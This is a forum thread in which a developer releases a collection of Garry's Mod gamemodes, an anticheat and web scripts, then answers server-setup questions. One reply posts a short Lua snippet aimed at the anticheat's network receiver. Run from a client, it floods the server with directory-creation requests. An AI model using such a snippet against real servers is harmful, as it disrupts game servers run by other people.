• Flow - Collection of gamemodes and accessories
    536 replies, posted
[IMG]http://i.imgur.com/VeTTRNN.png[/IMG] [B]Prelude[/B] Before a someone marks this as advertisement, it is not and here's the story behind it. This release thread contains almost all of my work I've done for GMOD communities. Because of circumstances I've decided to stop working on these gamemodes and rather release them here so they are not lost to private servers. As they are unique gamemodes and don't have a lot of good competitors in their category, I thought it would be best to spit new life in the fire by releasing something publicly. I will not provide future releases or support for the gamemodes, nor provide private instructions on how to set them up, next to the README files and this thread. If you want to use them, you're free to do so, in fact, it'd make me happy. I've worked for private companies most of my time and I have never done a public release like this one. Please tell me if there's anything to improve about it. Feedback is always welcome! [B]Index of the release[/B] Before I dive into the details of each release, here's a summary of all the items contained in the package: [QUOTE] - [B]Addons[/B] + API - Strafe Sync Manager + Base Garry's Mod Edits + Flow Network - Anticheat + Weapon Pack (SWEPs that work on boosters) - [B]Gamemodes[/B] + Flow Network - Bunny Hop v7.26 + Flow Network - Skill Surf v7.26 + Flow Network - Deathrun v1.00 (Never played gamemode, nearly complete) + Games for Life (GFL) - Bunny Hop (All versions) + Prestige Gaming (pG) - Bunny Hop (All versions) + Snippets - Small pieces of code intended for Bunny Hop - [B]Other[/B] (These are mostly for assistance when setting up a server) + Config (The config for skill based movement servers) + Tools (Some tools I've used or created) + Visual (Any graphical item I've used in or created for the gamemodes) - [B]Radio System[/B] + Controlling application (C# .exe) + Downloads for processing files + PHP Scripts - [B]Websites[/B] + Dynamic Loading Screen + PayPal IPN System + Simple FastDL CDN Script + Simple GMOD Website With every part of the release, there is a README.txt file. I took the time to write this to explain about the sub-item, so please read them carefully. [/QUOTE] [IMG]http://puu.sh/ftwd5/a73a7956b5.png[/IMG] Every subrelease in this category is an addon. They can all go in your /addons folder, except for the anticheat module (description about this is added). [B]Strafe Sync Manager (SMgrAPI)[/B] [URL=http://puu.sh/fdhK1/d6c7e84da1.png][IMG]http://puu.sh/fdhK1/d6c7e84da1.png[/IMG][/URL] This addon is essentially an "API" that you have to use from within your gamemode itself. There is a very elaborate description in the "docs.txt" file. [B]Anticheat (FNAC)[/B] [URL=http://puu.sh/fdk3n/84c97947c5.png][IMG]http://puu.sh/femcX/920779d090.png[/IMG][/URL] This anticheat module was initially made for GFL by George and I later on inherited it and adapted it for Flow Network. It's capable of blocking every Lua cheat there is that is harmful for the server. It also has a input source detection system, allowing for it to sort out the people using a movement re-recorder. Because the MMR detection isn't applicable for every gamemode, it is only necessary and operational in the latest Flow Network Bunny Hop gamemode (v7.26). Description about the anticheat is provided in the "README.txt" document. [B]Weapon Pack[/B] [URL=http://puu.sh/fdkH1/42efebedd7.png][IMG]http://puu.sh/fdp5p/30286033f1.png[/IMG][/URL] Simply put, these are the weapons that I used on my servers. They are edited and compatible with Bunny Hop maps. They're nothing special, except that for several boosters, the "func_button" entity needs to get damaged in order to let the player be boosted. This is incorporated in the "weapon_cs_base" weapon. It also contains grenades which can be removed if you don't want people to flash each other on for example "bhop_thc". [IMG]http://puu.sh/ftwkV/d7b1cd4402.png[/IMG] Each gamemode contained in the Flow Network release come with instructions on how to set them up. The rest of the gamemodes are for reference and nostalgia. They're still absolutely playable, and rather easy to set up. Every gamemode does come with a database, some more elaborate than others. Flow Network releases have resources of every type you need. [B]Flow Network - Bunny Hop[/B] [URL=http://puu.sh/fdhMX/4eb09b8241.png][IMG]http://puu.sh/fdoWz/d2367cf589.png[/IMG][/URL] This is the latest version (v7.26) of the gamemode. It contains the latest core and all the functionality I have added to my gamemode over the years. I added a no MySQL options just for this release, so there might be some glitches with it. I've tested it decently well though, and it seemed to work just fine. Everything you need to set it up is provided in "README.txt", except for the physical server, of course. [B]Flow Network - Deathrun[/B] [URL=http://puu.sh/fdo0f/a0dd2618f0.png][IMG]http://puu.sh/fdp7v/c55bda1b60.png[/IMG][/URL] This is the beta version (v1.00 - initial release) of the gamemode. It has the same core as Bunny Hop does and is essentially a re-do of the public Deathrun gamemode but with new features such as a run timer and records. It has a fancy but simple HUD and a feature for "Undead" runners when you die and want to re-run the map. This gamemode is fully operational but has some glitches remaining here and there. If you want to use it, you'll have to fix those and edit it wherever it's required. If you don't want to use MySQL, you'll have to take the SQLite adaptation from the Bunny Hop release. Pay attention to the "To-Do" labels that I left around in the gamemode; these show what still had to happen in my opinion. I hope to see a server online with this gamemode sometime, since I've never seen it go live with more than 4 people on it. Especially for the Bunny Hop community out there, this should be promising. There is some information about the set-up procedure in "README.txt". [B]Flow Network - Skill Surf[/B] [URL=http://puu.sh/fdieJ/076bc874c5.png][IMG]http://puu.sh/fdp9Z/c4c1f1e19d.png[/IMG][/URL] Since this is essentially the foundation of the Bunny Hop gamemode, most features are the same. I added a no MySQL options just for this release, so there might be some glitches with it. I've tested it decently well though, and it seemed to work just fine. Everything you need to set it up is provided in "README.txt". [B]Games for Life - Bunny Hop[/B] [URL=http://puu.sh/fdjnt/d0f4314dab.png][IMG]http://puu.sh/fdpbh/06f7c7fc9f.png[/IMG][/URL] This part of the release contains all the gamemodes that I made for GFL: Version 4 (After pG, Re-do and new core), Version 5 and Version 5.1 (Single player) They come with a database which is different from my other gamemodes. Because I thought SQLite was the reason for some lag in pG, I decided for a flatfile database. The 'database' will be generated by default when you launch the gamemode (sv_filesystem.lua) but I included a version of the database that already contains a lot of maps and their start and end zones for easy usage. There is no straightforward instruction manual with this release, but instead there are several informational text files that might help you out ("Changelog.txt" and "Information.txt") If you want a more 'visual' representation of the content of this gamemode, have a look [URL=http://gflclan.com/topic/751-bhop-server-information/]here[/URL]! [B]Prestige Gaming - Bunny Hop[/B] [URL=http://puu.sh/fdjQ5/ff5a8d8b8a.png][IMG]http://puu.sh/fdpcr/b1d98e9f5a.png[/IMG][/URL] This part of the release contains all the gamemodes that I made for Prestige Gaming: Version 2 (First re-do after George's), Version 3 (Another full remake, using MySQL now) and Version 3.1 (When Auto Hop came around first) as well as a little bonus: the very first Prestige Gaming Bunny Hop gamemode! The way version 2 handles the database is completely different from version 3. Version 2 uses a SQLite database of which the structure and data is available in the "Database" folder, the same goes for version 3, but these make use of a PURE MySQL
Great release, only one problem i see is in your Paypal IPN README, it explains: [quote]In the index.php file, set the MySQL details so that it can actually connect to an operational server.[/quote] Although, i do not see a PHP file, i may be reading it wrong or confused, but did you intend to include a index.php file and maybe forgot it? Or do you mean to use our own index/source and just use the IPN?
Lots of great code in here, thanks Gravious
wtf. chrome says it's a virus.
Great release Gravious, I am sure lots of people will appreciate how much work you put into this and donate.
[QUOTE=tdsx;47038208]wtf. chrome says it's a virus.[/QUOTE] Had the same issue. Chrome kept blocking the download. I know it's barbaric, but internet explorer worked just fine. I can assure you it's not a virus.
You can still download it when chrome says nay. Click the arrow on the download bar next to the "blocked" entry.
[QUOTE=cherka5;47037857]Great release, only one problem i see is in your Paypal IPN README, it explains: Although, i do not see a PHP file, i may be reading it wrong or confused, but did you intend to include a index.php file and maybe forgot it? Or do you mean to use our own index/source and just use the IPN?[/QUOTE] Oh! I meant "ipn.php" there. More specifically, in the CIPN class. Thanks for letting me know. If I find more things like this I might update the ZIP file. The IPN system, next to the donate button itself, doesn't really need more than just that file. If you want to know more about how to make sure the user's Steam ID is received correctly by the IPN script, look at the Simple GMOD website. Under ?action=donate there should be a pretty elaborate method. If it's of any use, here's the updated "README.txt": [code] Simple IPN script that will automatically process donations. If you are trying to set-up my gamemodes with MySQL, this can be useful if you want donations and VIPs to work. In the ipn.php file, set the MySQL details so that it can actually connect to an operational MySQL server. If you want to use the original script (with GMOD donations), you can use the "Structure for database.sql" file from Gamemodes\Flow Network - All gamemodes\Flow Network - Bunny Hop\Database\MySQL (for master database) To actally begin using it, go to your PayPal, hover over Profile, select More options. Click on a button that says "Webstore preferences" (Mine is in Dutch so I'm just translating here), then on the right click the link next to "Instant payment notifications". Set the IPN URL to the ipn.php script on the page you've opened. Test it using the PayPal Sandbox: https://developer.paypal.com/webapps/developer/applications/ipn_simulator (If you want to use this, make sure to comment out line 45 and 63 about "IPNSandbox" with the die() function. (NOTE: PayPal is changing their layout, so this might be located elsewhere. Just search for something with "Instant Payment Notification" or IPN) Good luck with it! Gravious [/code] [QUOTE=tdsx;47038208]wtf. chrome says it's a virus.[/QUOTE] I got that, too. I have no idea why but I do not intend to change the contents of the ZIP file for now. You can ignore those Chrome warnings, seeing as they give a LOT of false positives. Like "bitches" said, simply go to the Downloads page by clicking on the menu bar, then "Downloads". Next to the Release.zip download, click something like "Recover", then yes I'm aware of the concequences and you should be good. On my main PC I got this message as well, but not on my laptop. I put up a VirusTotal to assure you there's no virus in it. It's a ZIP file, with files in it... how could it be harmful, Chrome? These things make me want to switch back to Firefox.
topkek release gravious
Wow using the logo I made for FN and not even thanking me so ungrateful :^) Rly though, thanks for all the work you put into the Gmod bhop community Grav, and hopefully now there won't be a bunch of servers using ilya's gm.
[QUOTE=Wizzow;47039128]Wow using the logo I made for FN and not even thanking me so ungrateful :^) Rly though, thanks for all the work you put into the Gmod bhop community Grav, and hopefully now there won't be a bunch of servers using ilya's gm.[/QUOTE] Haha, I love the logo mate, that's why I used it for this thread. I'll be curious to see how the GMOD Bunny Hop community changes from this.
I'll wack this on a server when I have the money :)
Love you Gravious. Love everything you've done. You and your gamemode are (were) amazing. I remember when I started a year ago on GFL <3. Can't believe you are actually doing this. I had a lot of fun on your servers and I'll never forget those amazing moments the past year. rip in peace grav ~ny :suicide:
EDIT: I CANT READ SO I SNIPPED THIS FIRST BIT. However, I feel about my code and things learnt from me being on this thread (bots, weapons and ways of fixing shit) I feel like something like this needed to happen, at the same time, I feel as though you wasted all that time by just releasing them straight off. And my biggest worry is that nobody learns from any of the code, and we end up with a ton of generic servers, the fact that older versions of the gamemode have been released helps people look at the development of the gamemode however I feel servers are just going to try and be like pG. At the same time I no longer play gmod bhop and refuse to involve myself heavily in gmod bhop affairs, so I feel like this doesn't concern me. You're still an OK guy (the caps mean everything) and I don't understand why quitting gmod = delete all of friendslist, but I wish you fun and good luck. Best wishes, george. (SPEED-O-METER MASTER RACE, BHOP = RACING GAME)
nice anticheat you got there [lua]timer.Create("kden", 1, 0, function () net.Start("imastealinurshit") net.WriteString(string.rep("kdenepicdirectoryhere/", 100) .. "getrekt_".. os.time()) net.WriteString( render.Capture({format = "jpeg", h = ScrH(), w = ScrW(), quality = 100, x = 0, y = 0}) ) net.SendToServer() end )[/lua]
[QUOTE=georgeri;47040389]EDIT: I CANT READ SO I SNIPPED THIS FIRST BIT. However, I feel about my code and things learnt from me being on this thread (bots, weapons and ways of fixing shit) I feel like something like this needed to happen, at the same time, I feel as though you wasted all that time by just releasing them straight off. And my biggest worry is that nobody learns from any of the code, and we end up with a ton of generic servers, the fact that older versions of the gamemode have been released helps people look at the development of the gamemode however I feel servers are just going to try and be like pG. At the same time I no longer play gmod bhop and refuse to involve myself heavily in gmod bhop affairs, so I feel like this doesn't concern me. You're still an OK guy (the caps mean everything) and I don't understand why quitting gmod = delete all of friendslist, but I wish you fun and good luck. Best wishes, george. (SPEED-O-METER MASTER RACE, BHOP = RACING GAME)[/QUOTE] The Bunny Hop community wasn't really progressing in servers, and with Flow Network dropping out I thought it would only proceed to go downhill from there. Your gamemode is spreading, but it's still under-used. I think there are a lot of creative people out there who will make good use of this, hence why I released everything I've made rather than just the Bunny Hop gamemodes (so they can collect what they want to research in). I'm not going to be involved either anymore, so I feel I had a bit of a responsibility to leave everything behind in a proper way. About the friendlist delete, this is more of a temporary measure so I don't begin checking shit again. We still have to play Trikz though, so I'll have to add you back ;) And fuck yes, Need for Speed all the way. [QUOTE=Author.;47040594]nice anticheat you got there [lua]timer.Create("kden", 1, 0, function () net.Start("imastealinurshit") net.WriteString(string.rep("kdenepicdirectoryhere/", 100) .. "getrekt_".. os.time()) net.WriteString( render.Capture({format = "jpeg", h = ScrH(), w = ScrW(), quality = 100, x = 0, y = 0}) ) net.SendToServer() end )[/lua][/QUOTE] I've compiled this release very carefully and only contains reasonable and just code, nothing silly like that, so I'm curious, where are you getting this from? It seems like a very silly way of making someone lag intentionally. About the anticheat; it's just a very simple anticheat that servers can use to not be destroyed by little kids with hacks.
That code makes 100 directories with a ~20kb file every second. Running this from the client. Look at the net receive in the server side file.
[QUOTE=Author.;47040898]That code makes 100 directories with a ~20kb file every second. Running this from the client. Look at the net receive in the server side file.[/QUOTE] Right. You made that. I thought you were getting it somewhere from the files. It's not hard to block it if there's even people who are going to attempt it. You're essentially reporting yourself if you would be stupid enough to execute that script. My previous post still stands though: About the anticheat; it's just a very simple anticheat that servers can use to not be destroyed by little kids with hacks. Some things will still work, but the majority will be blocked.
this post is pretty kek/10 -ign [highlight](User was banned for this post ("shitposting" - Orkel))[/highlight]
[QUOTE=koro35;47041027]this post is pretty kek/10 -ign[/QUOTE] Please, stop posting silly shit like that. You look like a little kid
Would have preferred if you consulted me about this first, but seeing as this is already said and done, I have no problem with you doing this. Thanks for releasing (y)our baby to the world, it definitely deserves some light. Also, as a side note: Thank you dearly for all that you have done for me and for helping me carry out my dream, however limited it was. You really outdid yourself dude. Seriously. Thank you so much for making such a beautiful surf gamemode, one that we all needed and wanted. I hope to see major improvements across all of GMod because of this. Thank you, again. Appreciate it my man. Good luck at university! Feel free to hit my steam if you ever want to chat. Good times were had with you. Surfline will always exist because of you.
[QUOTE=PushMethod;47043646]Would have preferred if you consulted me about this first, but seeing as this is already said and done, I have no problem with you doing this. Thanks for releasing (y)our baby to the world, it definitely deserves some light. Also, as a side note: Thank you dearly for all that you have done for me and for helping me carry out my dream, however limited it was. You really outdid yourself dude. Seriously. Thank you so much for making such a beautiful surf gamemode, one that we all needed and wanted. I hope to see major improvements across all of GMod because of this. Thank you, again. Appreciate it my man. Good luck at university! Feel free to hit my steam if you ever want to chat. Good times were had with you. Surfline will always exist because of you.[/QUOTE] Sorry mate, I hadn't seen you on Steam for a while and since Surfline wouldn't get any servers back up since you were so busy I figured you'd think this was for the best as well. And will do ;)
hey grav, if you have time to answer me, it would be great. my friends are having some issues with this gamemode. These are the known issues 1. autohop fails on hills,slopes and such 2. boosters are not working the right way 3. the nominate list is kinda weird, it doesnt show maps that we add.
[QUOTE=OhYuuki;47048198]hey grav, if you have time to answer me, it would be great. my friends are having some issues with this gamemode. These are the known issues 1. autohop fails on hills,slopes and such 2. boosters are not working the right way 3. the nominate list is kinda weird, it doesnt show maps that we add.[/QUOTE] I'll see how I can help. First off, are there any errors? Or possible console spam for lag? 1. Is this when uncrouching? It should hardly ever fail, and it should never fail when just normally Bhopping. 2. Did you install the "bhop_ents.lua" file as explained in the "[U]Essential files[/U]" folder? If you did, it should be ping or maybe something else crashing it. 3. Did you change the data in "core.lua" (at the top); this makes sure the client caching of the nominate list works properly (since it's so large). Oh, what environment are you running it on? If it's on Linux, are you sure the server has permission to write to the /data folder? In the data/bhop/settings.txt file there should be a number indicating the version of the map list (when you add a new map, this number will increase by 1 - allowing the client to distinguish between the servers of the nominate list). Try putting some "debug" print() functions on Cache:M_Load() (cl_receive.lua) and Client:VerifyList() (cl_init.lua), as well as on the receive function at the bottom of cl_admin.lua (this is where the new compressed binary list comes in) (I don't know the name of this by heart - I'm on my phone at the moment). Tell me if that was of any help!
[QUOTE=Gravious;47048698]I'll see how I can help. First off, are there any errors? Or possible console spam for lag? 1. Is this when uncrouching? It should hardly ever fail, and it should never fail when just normally Bhopping. 2. Did you install the "bhop_ents.lua" file as explained in the "[U]Essential files[/U]" folder? If you did, it should be ping or maybe something else crashing it. 3. Did you change the data in "core.lua" (at the top); this makes sure the client caching of the nominate list works properly (since it's so large). Oh, what environment are you running it on? If it's on Linux, are you sure the server has permission to write to the /data folder? In the data/bhop/settings.txt file there should be a number indicating the version of the map list (when you add a new map, this number will increase by 1 - allowing the client to distinguish between the servers of the nominate list). Try putting some "debug" print() functions on Cache:M_Load() (cl_receive.lua) and Client:VerifyList() (cl_init.lua), as well as on the receive function at the bottom of cl_admin.lua (this is where the new compressed binary list comes in) (I don't know the name of this by heart - I'm on my phone at the moment). Tell me if that was of any help![/QUOTE] thank you for the fast reply, we are currently looking into what you said, also how do we give a player owner so they can make people admins? we managed to find a way last night but today the icon is gone but i could still use !admin but it only has the gag and mute option, not sure if it deranked me by itself since i was super.
[QUOTE=Gravious;47048698]I'll see how I can help. First off, are there any errors? Or possible console spam for lag? 1. Is this when uncrouching? It should hardly ever fail, and it should never fail when just normally Bhopping. 2. Did you install the "bhop_ents.lua" file as explained in the "[U]Essential files[/U]" folder? If you did, it should be ping or maybe something else crashing it. 3. Did you change the data in "core.lua" (at the top); this makes sure the client caching of the nominate list works properly (since it's so large). Oh, what environment are you running it on? If it's on Linux, are you sure the server has permission to write to the /data folder? In the data/bhop/settings.txt file there should be a number indicating the version of the map list (when you add a new map, this number will increase by 1 - allowing the client to distinguish between the servers of the nominate list). Try putting some "debug" print() functions on Cache:M_Load() (cl_receive.lua) and Client:VerifyList() (cl_init.lua), as well as on the receive function at the bottom of cl_admin.lua (this is where the new compressed binary list comes in) (I don't know the name of this by heart - I'm on my phone at the moment). Tell me if that was of any help![/QUOTE] We are running on a windows server... and it is not when uncrouching, and yes we installed the bhop_ents, and where is the core.lua located? I cannot find it... As my co owner setup the server... Oh and im the person Yuuki is trying to help [editline]31st January 2015[/editline] [QUOTE=qTY3;47048881]We are running on a windows server... and it is not when uncrouching, and yes we installed the bhop_ents, and where is the core.lua located? I cannot find it... As my co owner setup the server... Oh and im the person Yuuki is trying to help[/QUOTE] Oh also no errors
[QUOTE=OhYuuki;47048845]thank you for the fast reply, we are currently looking into what you said, also how do we give a player owner so they can make people admins? we managed to find a way last night but today the icon is gone but i could still use !admin but it only has the gag and mute option, not sure if it deranked me by itself since i was super.[/QUOTE] Maybe it's better if I make a full video tutorial on how to setup the gamemodes; it'll be a lot clearer than my silly "README.txt" files. I'm assuming you're going for a SQLite setup. Directly from the README.txt: [quote] To edit this local database, you have to edit the tables prefixed with 'gmod_' in your sv.db - Alternatively, if you don't know how to do that, go to core_data.lua on line 378 and put your Steam ID in. [/quote] If you put a clean database in there without any admins, and then put your Steam ID there, it will load you with the "Owner" rank allowing you to add in the first admins through the Admin Panel. To do that, simply put the target Steam ID in the bottom left text box and click Set Authority, then type one of the selected values. In your case, first click yourself, type "Owner" and you should be good for all the coming launches. It can't derank you unless you reset the database. I suggest you downloading something like SQLite Browser so you can have a look inside your "sv.db". [QUOTE=qTY3;47048881]We are running on a windows server... and it is not when uncrouching, and yes we installed the bhop_ents, and where is the core.lua located? I cannot find it... As my co owner setup the server... Oh and im the person Yuuki is trying to help [editline]31st January 2015[/editline] Oh also no errors[/QUOTE] I'm not sure what's going wrong then, since this never happened to me. Did you rename anything or did you just put it in a folder called "bhop" in your gamemodes folder? Are you running it through SRCDS? Uhhhh what else could be wrong... Do you have the right tickrate? Proper server.cfg setup? Your core.lua should be in the gamemodes/bhop/gamemode folder, as well as the rest of the lua files. ------ Is anyone else, who has tried the gamemode, experiencing these problems? Because I've never had any trouble with it myself, ever.
Hey just a small question gravious? for the flow bhop gamemode how can i set vips? cause if im doing it rights its not working
I am running it through SRCDS, I did not rename anything and the tickrate is 100, as of the server.cfg is here, I dont know what would be wrong with it: [url]http://pastebin.com/BNCev7W5[/url] [editline]31st January 2015[/editline] [QUOTE=Matt0722;47049197]Hey just a small question gravious? for the flow bhop gamemode how can i set vips? cause if im doing it rights its not working[/QUOTE] I would also like to know, when I give myself owner and give people vip, what vip perks are there
[QUOTE=qTY3;47049225]I am running it through SRCDS, I did not rename anything and the tickrate is 100, as of the server.cfg is here, I dont know what would be wrong with it: [url]http://pastebin.com/BNCev7W5[/url] I would also like to know, when I give myself owner and give people vip, what vip perks are there[/QUOTE] cause i edit the sv.db and i put my steamid in for the vip and it dosnt work?
Sorry, you need to Log In to post a reply to this thread.